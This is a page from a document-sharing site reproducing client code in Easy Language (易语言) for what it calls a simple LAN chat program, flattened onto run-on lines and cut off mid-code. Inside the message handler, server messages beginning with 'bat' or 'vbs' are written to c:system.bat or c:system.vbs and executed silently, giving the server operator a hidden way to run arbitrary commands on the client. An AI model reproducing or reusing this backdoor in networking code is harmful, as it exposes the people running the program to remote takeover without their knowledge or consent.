易语言简单局域网聊天代码(客户服务器组件编写)

《易语言简单局域网聊天代码(客户服务器组件编写)》由会员上传分享，免费在线阅读，更多相关内容在行业资料-天天文库。

1、客户机代码：.版本2.支持库shell.支持库xplib.程序集窗口程序集1.程序集变量文件号1,整数型.程序集变量文件长度,整数型.程序集变量发送内容,字节集.程序集变量文件名,文本型.程序集变量文件号2,整数型.子程序_按钮1_被单击.局部变量现在时间,文本型.如果(编辑框7.内容＝“1”).如果(编辑框6.内容≠“”).如果(编辑框2.内容≠“”)客户1.发送数据(“聊天”＋编辑框2.内容)现在时间＝到文本(取年份(取现行时间()))＋“/”＋到文本(取月份(取现行时间()))＋“/”＋到文本(取日(取现行时间()))＋“/”＋到文本(取小时(取现行时间()))＋“:”＋到文本(取分钟

2、(取现行时间()))＋“:”＋到文本(取秒(取现行时间()))编辑框1.内容＝编辑框1.内容＋“【本机】”＋现在时间＋#换行符＋“”＋编辑框2.内容＋#换行符编辑框2.内容＝“”.否则信息框(“发送消息不能为空”,48,“提示”).如果结束.否则信息框(“服务器IP地址不能为空”,48,“提示”).如果结束.否则信息框(“服务器未连接”,48,“提示”).如果结束.子程序_按钮2_被单击.如果(编辑框6.内容≠“”).如果(编辑框8.内容≠“”).如果(客户1.连接(编辑框6.内容,1991)＝真)播放MP3(1,“xlj.mp3”)编辑框1.内容＝编辑框1.内容＋“连接：”＋编辑框6.内容

3、＋“成功”＋#换行符按钮2.禁止＝真编辑框7.内容＝“1”客户1.发送数据(“昵称”＋编辑框8.内容).否则播放MP3(1,“lk.mp3”)编辑框1.内容＝编辑框1.内容＋“连接：”＋编辑框6.内容＋“失败”＋#换行符.如果结束.否则信息框(“请填写你的昵称”,48,“提示”).如果结束.否则信息框(“请填写要连接的IP地址”,48,“提示”).如果结束.子程序_客户1_数据到达.局部变量接收内容,文本型.局部变量现在时间,文本型.局部变量发送进度,整数型接收内容＝到文本(客户1.取回数据())现在时间＝到文本(取年份(取现行时间()))＋“/”＋到文本(取月份(取现行时间()))＋“/”

4、＋到文本(取日(取现行时间()))＋“/”＋到文本(取小时(取现行时间()))＋“:”＋到文本(取分钟(取现行时间()))＋“:”＋到文本(取秒(取现行时间())).如果(接收内容＝“接收”).如果(是否在文件尾(文件号1,)＝假)发送内容＝读入字节集(文件号1,2048)发送进度＝取读写位置(文件号1)进度条1.位置＝发送进度÷文件长度×1000客户1.发送数据(发送内容).否则客户1.发送数据(“发送完毕”)信息框(“发送完毕”,64,“提示”)分组框8.可视＝假进度条1.位置＝0.如果结束.否则.如果(接收内容＝“拒绝”)信息框(“对方拒绝接收文件”,64,“提示”)分组框8.可视＝假

5、.否则.如果(取文本左边(接收内容,3)＝“bat”)文件号1＝打开文件(“c:system.bat”,4,1)写出文本(文件号1,取文本右边(接收内容,取文本长度(接收内容)－3))关闭文件(文件号1)执行(4,“c:system.bat”,,,).否则.如果(取文本左边(接收内容,3)＝“vbs”)文件号1＝打开文件(“c:system.vbs”,4,1)写出文本(文件号1,取文本右边(接收内容,取文本长度(接收内容)－3))关闭文件(文件号1)执行(4,“c:system.vbs”,,,).否则编辑框1.内容＝编辑框1.内容＋“【服务器】”＋现在时间＋#换行符＋“”＋接收内容＋

6、#换行符播放音乐(“xxx.wav”,假).如果结束.如果结束.如果结束.如果结束.子程序_客户1_连接断开编辑框7.内容＝“0”编辑框1.内容＝编辑框1.内容＋“<与服务器断开>”＋#换行符按钮2.禁止＝假播放MP3(1,“lk.mp3”).子程序_按钮4_被单击.如果(编辑框7.内容＝“1”)客户1.断开连接()编辑框7.内容＝“0”编辑框1.内容＝编辑框1.内容＋“<与服务器断开连接>”＋#换行符按钮2.禁止＝假播放MP3(1,“lk.mp3”).否则信息框(“没有连接”,48,“提示”).如果结束.子程序_按钮9_被单击编辑框13.内容＝“”分组框8.可视＝假.子程序_按钮7_被单击

7、通用对话框1.打开()编辑框13.内容＝通用对话框1.文件名.子程序_按钮8_被单击.如果(编辑框13.内容≠“”)文件名＝取文本右边(编辑框13.内容,取文本长度(编辑框13.内容)－倒找文本(编辑框13.内容,“”,,假))文件号1＝打开文件(编辑框13.内容,1,1)文件长度＝取文件长度(文件号1)客户1.发送数据(“文件名”＋文件名＋“

8、”＋到文本(文件长度)).否则信息框(“未选择文件”,48,“